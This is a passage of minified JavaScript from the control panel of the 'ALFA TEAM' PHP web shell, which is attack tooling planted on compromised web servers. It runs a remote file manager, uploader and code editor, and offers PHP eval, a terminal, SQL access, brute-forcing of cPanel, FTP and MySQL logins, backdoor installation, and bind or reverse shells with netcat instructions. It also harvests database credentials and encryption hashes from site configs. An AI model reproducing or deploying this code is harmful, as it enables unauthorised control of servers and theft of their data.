input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\\"header_pwd\\" onclick=\\"g(\'FilesMan\',\'/\');\\" path=\'/\' href=\'#action=fileman&path=/\'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\\"g(\'FilesMan\',\'"+r+l[i]+"/\');\\" path=\'"+r+l[i]+"/\' href=\'#action=fileman&path="+r+l[i]+\'/\\\' class="header_pwd">\'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id=\'"+s+"\' class=\'up_bar\'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname=\'"+n+"\']").parentElement.parentElement.parentElement.remove()}catch(e){}l+=\'<tr class="fmanager-row" id="tr_row_\'+r+\'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="\'+n+\'" class="chkbx" id="checkbox\'+r+\'"><label for="checkbox\'+r+\'"></label></div></td><td id="td_row_\'+r+\'">\'+p+\'<div style="position:relative;display:inline-block;bottom:12px;"><a row="\'+r+\'" id="id_\'+r+\'" class="main_name" onclick="editor(\\\'\'+s+"\',\'auto\',\'\',\'\',\'\',\'file\');\\" href=\\"#action=fileman&path="+c_+"&file="+s+\'" fname="\'+n+\'" ftype="file" path="\'+c_+\'" opt_title="">\'+n+\'</a></div></td><td><span style="font-weight:unset;" class="main_size">\'+c+\'</span></td><td><span style="font-weight:unset;" class="main_modify">\'+_+\'</span></td><td><span style="font-weight:unset;" class="main_owner_group">\'+u+\'</span></td><td><a id="id_chmode_\'+r+\'" href="javascript:void(0)" onclick="editor(\\\'\'+s+"\',\'chmod\',\'\',\'\',\'\',\'file\')\\">"+f+\'</a></td><td><a id="id_rename_\'+r+\'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\\\'\'+s+"\', \'rename\',\'\',\'\',\'\',\'file\')\\">R</a> <a id=\\"id_touch_"+r+\'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\\\'\'+s+"\', \'touch\',\'\',\'\',\'\',\'file\')\\">T</a> <a id=\\"id_edit_"+r+\'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\\\'\'+s+"\', \'edit\',\'\',\'\',\'\',\'file\')\\">E</a> <a id=\\"id_download_"+r+\'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\\\'FilesTools\\\',null,\\\'\'+n+"\', \'download\')\\">D</a><a id=\\"id_delete_"+r+\'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\\\'Are You Sure For Delete # \'+s+" # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'"+s+"\') : \'\';\\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\\/\\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\\/\\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id=\'loader_"+e+\'\\\' class="options-loader-holder"><div parent="\'+e+\'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\\\'http://solevisible.com/images/loader.svg\\\'></div>\')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"¤t_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color=\'red\'>>></font> ` button and run ` <font color=\'red\'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color=\'red\'>nc -l -v -p port</font> ` on your computer and press ` <font color=\'red\'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML=\'<label class="inputfile" for="\'+e+\'"><span id="__fnameup\'+upcount+\'"></span> <strong> Choose a file</strong></label><input id="\'+e+\'" type="file" name="f[]" onChange="handleup(this,\'+upcount+\');" multiple>\',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\\./g,"\\\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\\//g,"")==f.replace(/\\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick=\'editorTabController(this);\' opt_id=\'"+b+"\' id=\'tab_"+b+"\' class=\'editor-tab-name editor-tab-active\'>"+decodeURIComponent(e)+" <img opt_id=\'"+b+"\' onclick=\'closeEditorContent(this,event);return false;\' title=\'[close]\' src=\'http://solevisible.com/icons/menu/delete.svg\'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class=\'editor-contents editor-content-active\' id=\'"+b+"\'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\\/\\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id=\'"+e+"\' class=\'history\' onClick=\'reopen(this);\'><div class=\'editor-icon\'>"+loadType(a,i,e)+"</div><div class=\'editor-file-name\'>"+a+"</div></div><div class=\'history-close\' onClick=\'removeHistory(\\""+e+"\\");\'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class=\'editor-icon\'>"+loadType(editor_files[t].file,e,t)+"</div><div class=\'editor-file-name\'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return\'<img src="http://solevisible.com/icons/{type}" width="30" height="30">\'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor(\'"+a+"\',\'auto\',\'\',\'\',\'\',\'file\')"),$(r).setAttribute("onclick","editor(\'"+a+"\',\'edit\',\'\',\'\',\'\',\'"+s+"\')"),$(n).setAttribute("onclick","g(\'FilesTools\',null,\'"+a+"\', \'download\')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g(\'FilesMan\', \'"+c_+"/"+a+"\')")),$(i).setAttribute("onclick","editor(\'"+a+"\',\'chmod\',\'\',\'\',\'\',\'"+s+"\')"),$(l).setAttribute("onclick","editor(\'"+a+"\',\'rename\',\'\',\'\',\'\',\'"+s+"\')"),$(o).setAttribute("onclick","editor(\'"+a+"\',\'touch\',\'\',\'\',\'\',\'"+s+"\')"),$(d).setAttribute("onclick","var chk = confirm(\'Are You Sure For Delete # "+a+" # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'"+a+"\') : \'\';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\\/\\//g,"/"),l=l.replace(/\\/\\//g,"/"),-1!=(t=t.replace(/\\/\\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var 